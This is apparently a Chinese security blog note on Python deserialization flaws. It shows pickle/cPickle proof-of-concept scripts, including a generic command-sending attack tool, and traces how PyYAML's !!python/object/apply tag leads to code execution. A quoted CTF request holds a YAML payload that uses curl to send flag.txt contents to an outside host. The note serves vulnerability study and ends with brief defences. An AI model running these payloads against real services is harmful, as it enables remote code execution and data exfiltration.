零、补充:
补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。
测试代码:
1 #client.py 2 import os 3 import sys 4 import base64 5 import socket 6 import cPickle 7 8 #定义payload类型 9 class payload(object): 10 def __init__(self,command): 11 self.__command = command 12 def __reduce__(self): 13 return (os.system,((self.__command),)) 14 15 #定义全局socket对象 16 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 17 18 #定义主函数,生成payload对象 19 if __name__ == "__main__": 20 #cmd = sys.argv[1] 21 #rip = sys.argv[2] 22 #pot = sys.argv[3] 23 cmd = "whoami" 24 rip = "127.0.0.1" 25 pot = 5222 26 payload_object = payload(cmd) 27 send_object = cPickle.dumps(payload_object) 28 sock.connect((rip,int(pot))) 29 send_object = base64.b64encode(send_object) 30 sock.send(send_object) 31 32 #server.py 33 # -*- coding:utf-8 -*- 34 import socket 35 import os 36 import cPickle 37 import base64 38 39 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 40 sock.bind(("127.0.0.1",5222)) 41 sock.listen(5) 42 con,addr = sock.accept() 43 ret = con.recv(1024) 44 ret = base64.b64decode(ret) 45 m = cPickle.loads(ret)
果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。
一、python的反序列化漏洞:
一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:
举例说明:
client传送一个类对象序列化过去给server,server反序列化这个类对象。
client.py
1 #serail.py 2 # -*- coding:utf-8 -*- 3 import os 4 import socket 5 import cPickle 6 7 class Vuln(object): 8 name = 1 9 def __reduce__(self): 10 return (os.system,(('id'),)) 11 12 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 13 sock.connect(("127.0.0.1",5222)) 14 m = Vuln() 15 ret = cPickle.dumps(m) 16 sock.send(ret) 17 sock.close()
server.py
1 #server.py 2 # -*- coding:utf-8 -*- 3 import socket 4 import os 5 import cPickle 6 7 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 8 sock.bind(("127.0.0.1",5222)) 9 sock.listen(5) 10 con,addr = sock.accept() 11 ret = con.recv(1024) 12 m = cPickle.loads(ret)
测试效果:
类似于cPickle和pickle的这种适合打一些TCP连接的:
这里写一个脚本作为一般poc
1 # -*- coding:utf-8 -*- 2 """ 3 这个脚本用来生成payload,并进行打击 4 作者:陈然 5 公司:360企业安全 6 """ 7 #引入依赖包文件 8 import os 9 import sys 10 import socket 11 import cPickle 12 13 #定义payload类型 14 class payload(object): 15 def __init__(self,command): 16 self.__command = command 17 def __reduce__(self): 18 return (os.system,((self.__command),)) 19 20 #定义全局socket对象 21 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 22 23 #定义主函数,生成payload对象 24 if __name__ == "__main__": 25 cmd = sys.argv[1] 26 rip = sys.argv[2] 27 pot = sys.argv[3] 28 payload_object = payload(cmd) 29 send_object = cPickle.dumps(payload_object) 30 sock.connect((rip,int(pot))) 31 sock.send(send_object)
二、HTTP中的python反序列化漏洞--PyYAML
1、这里要注意,对站点相关开发有要求:
(1)使用PyYAML这个库
(2)使用了yaml.load函数而不是yaml.safe_load函数
2、好了,来看函数吧:
(1):
我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!
(2)这个tag的解析在yaml库的constructor.py文件中:
然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:
跳转过去看下,这个地方有cls函数
而这里的cls函数取自find_python_name这个函数的返回值:
这个函数返回值是getattr的返回值
我们来做一个实验:
1 import os 2 3 class A(object): 4 name = 1 5 def __reduce__(self): 6 os.system("whoami") 7 8 a = A() 9 func = getattr(a,"__reduce__") 10 print "func:",func 11 func()
实验结果:
这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。
3、攻击场景:
这种场景有可能在HTTP协议中见到:
看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800
1 ''' 2 POST / HTTP/1.1 3 Host: ganon.39586ebba722e94b.ctf.land:8001 4 User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 DNT: 1 9 Referer: http://ganon.39586ebba722e94b.ctf.land:8001/ 10 Connection: close 11 Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329 12 Content-Length: 438 13 14 -----------------------------200783363553063815533894329 15 Content-Disposition: form-data; name="file"; filename="test.yaml" 16 Content-Type: application/x-yaml 17 18 --- 19 "goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"] 20 21 -----------------------------200783363553063815533894329 22 Content-Disposition: form-data; name="upload" 23 24 25 -----------------------------200783363553063815533894329-- 26 27 28 </div> 29 30 <div class="container main" > 31 <div> 32 <div class="col-md-12 main"> 33 34 <ul><li><code>goodbye</code> : <code>0</code></li></ul> 35 36 </div> 37 </div> 38 </div> 39 '''
很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。